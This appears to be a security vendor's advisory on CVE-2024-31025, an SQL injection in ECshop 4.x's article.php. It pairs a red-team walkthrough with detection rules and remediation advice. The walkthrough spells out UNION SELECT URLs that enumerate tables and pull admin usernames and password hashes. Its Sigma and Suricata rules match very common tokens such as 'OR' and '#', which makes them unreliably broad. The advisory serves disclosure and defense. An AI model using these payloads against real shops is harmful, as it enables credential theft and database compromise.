CVE-2024-31025

Executive Summary

CVE-2024-31025 is an unpatched SQL Injection vulnerability in ECshop 4.x, specifically within the /article.php component. This flaw allows an unauthenticated attacker to inject arbitrary SQL queries, potentially leading to the extraction of sensitive information from the database, including user credentials, personal data, and application secrets. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS score of 0.0%, indicating low exploitation activity at the time of analysis. However, the lack of a patch and the public disclosure of the vulnerability make it a significant risk for all ECshop 4.x deployments.

Supply Chain & Package Security

ECshop is a PHP-based e-commerce platform. The vulnerability exists in the core application code, not in a third-party package. The absence of a patch from the vendor (ECshop) means that all installations are at risk. Organizations using ECshop 4.x should consider this a critical supply chain risk and implement immediate mitigations.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, based on the vulnerability description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): None (N) – The vulnerability is read-only (information disclosure).
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to a complete compromise of the database.

Deep Dive & Mechanics

The vulnerability resides in the /article.php component of ECshop 4.x. The application fails to properly sanitize user-supplied input before using it in a SQL query. Specifically, the id parameter (or a similar parameter used to fetch articles) is directly concatenated into a SQL statement without parameterization or escaping.

Vulnerable Code Pattern (Conceptual):

$id = $_GET['id'];
$sql = "SELECT * FROM ecs_article WHERE article_id = $id";
$result = $db->query($sql);

An attacker can manipulate the id parameter to break out of the intended query and inject arbitrary SQL commands. For example:

http://target.com/article.php?id=1 UNION SELECT user(),version(),database(),4,5,6,7,8,9,10

This would return the database user, version, and database name in the application's output.

Vulnerable vs. Patched Code

Since no patch is available, a secure implementation would use prepared statements or parameterized queries.

Vulnerable Code (Conceptual):

$id = $_GET['id'];
$sql = "SELECT * FROM ecs_article WHERE article_id = $id";
$result = $db->query($sql);

Patched Code (Conceptual - using MySQLi prepared statements):

$id = $_GET['id'];
$stmt = $db->prepare("SELECT * FROM ecs_article WHERE article_id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable ECshop 4.x instance (e.g., using Docker or a local web server with PHP and MySQL).
2. Ensure the /article.php endpoint is accessible.

Exploitation Steps:

1. Identify the vulnerable parameter: Use a web proxy (e.g., Burp Suite) to intercept requests to /article.php. Look for parameters like id, cat_id, or article_id.
2. Test for SQL Injection: Inject a single quote (') into the parameter to cause a database error.

   http://target.com/article.php?id=1'
   

   If an SQL error is displayed, the parameter is vulnerable.
3. Determine the number of columns: Use ORDER BY to find the number of columns in the original query.

   http://target.com/article.php?id=1 ORDER BY 10--
   

   Increase the number until an error occurs. The last successful number is the column count.
4. Extract data using UNION: Once the column count is known, use a UNION SELECT statement to extract data.

   http://target.com/article.php?id=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
   

   Note which column numbers are displayed in the response.
5. Extract database information:

   http://target.com/article.php?id=1 UNION SELECT 1,user(),version(),database(),5,6,7,8,9,10--
   

6. Extract table names:

   http://target.com/article.php?id=1 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()--
   

7. Extract user credentials: Target the ecs_admin_user table (or similar).

   http://target.com/article.php?id=1 UNION SELECT 1,group_concat(user_name,0x3a,password),3,4,5,6,7,8,9,10 FROM ecs_admin_user--
   

Blue Team (Defensive)

Detection & Prevention:

1. Web Application Firewall (WAF): Deploy a WAF with rules to block common SQL injection patterns (e.g., UNION, SELECT, ' OR 1=1).
2. Input Validation: Implement strict input validation. The id parameter should only accept numeric values.
3. Parameterized Queries: The most effective fix is to rewrite the database queries using prepared statements.
4. Least Privilege: Ensure the database user used by the application has minimal privileges (e.g., only SELECT on necessary tables, no INSERT, UPDATE, DELETE on sensitive tables).
5. Error Handling: Disable detailed database error messages in production. Display a generic error page instead.
6. Monitor Logs: Monitor web server and database logs for suspicious SQL injection attempts (e.g., UNION, SELECT, OR, --).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /article.php containing SQL keywords in parameters (e.g., UNION, SELECT, FROM, WHERE, OR, AND, --, #, /*).
  • Requests with unusual parameter values, such as id=1 UNION SELECT....
  • Requests with multiple ORDER BY or GROUP BY clauses.
• Host IOCs:
  • Database error logs containing SQL syntax errors.
  • Web server access logs showing repeated requests to /article.php with varying id values.
  • Unexpected database queries in the database's slow query log.
• File IOCs:
  • Modified /article.php file (if an attacker attempts to patch it).
  • Presence of web shells or backdoors in the web root (post-exploitation).

Detection Engineering

YARA Rule

rule Detect_ECshop_SQLi_Attempt {
    meta:
        description = "Detects SQL injection attempts targeting ECshop article.php"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-31025"
    strings:
        $s1 = "article.php" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "FROM" nocase
        $s5 = "information_schema" nocase
        $s6 = "OR" nocase
        $s7 = "AND" nocase
        $s8 = "--" nocase
        $s9 = "#" nocase
        $s10 = "/*" nocase
    condition:
        $s1 and (any of ($s2,$s3,$s4,$s5,$s6,$s7,$s8,$s9,$s10))
}

Sigma Rule

title: ECshop article.php SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the article.php component in ECshop 4.x
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31025
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'article.php'
            - 'UNION'
            - 'SELECT'
            - 'FROM'
            - 'information_schema'
            - 'OR'
            - 'AND'
            - '--'
            - '#'
            - '/*'
    condition: selection
falsepositives:
    - Legitimate use of the word 'union' or 'select' in a parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31025 ECshop article.php SQL Injection Attempt"; flow:to_server,established; content:"/article.php"; http_uri; nocase; pcre:"/(UNION|SELECT|FROM|information_schema|OR|AND|--|#|\/\*)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the /article.php endpoint if it is not essential for business operations. This can be done via web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Apply virtual patching by modifying the /article.php file to add input validation and parameterized queries. This is a temporary fix until an official patch is released.

Long-Term Actions:

1. Monitor the ECshop vendor for an official security patch. Apply it immediately upon release.
2. Conduct a full security audit of the ECshop installation to identify other potential vulnerabilities.
3. Migrate to a supported and actively maintained e-commerce platform if ECshop is no longer being patched.
4. Enforce the principle of least privilege for the database user.
5. Implement a Content Security Policy (CSP) to mitigate the impact of potential XSS attacks.

Valters IT – Securing your digital frontier.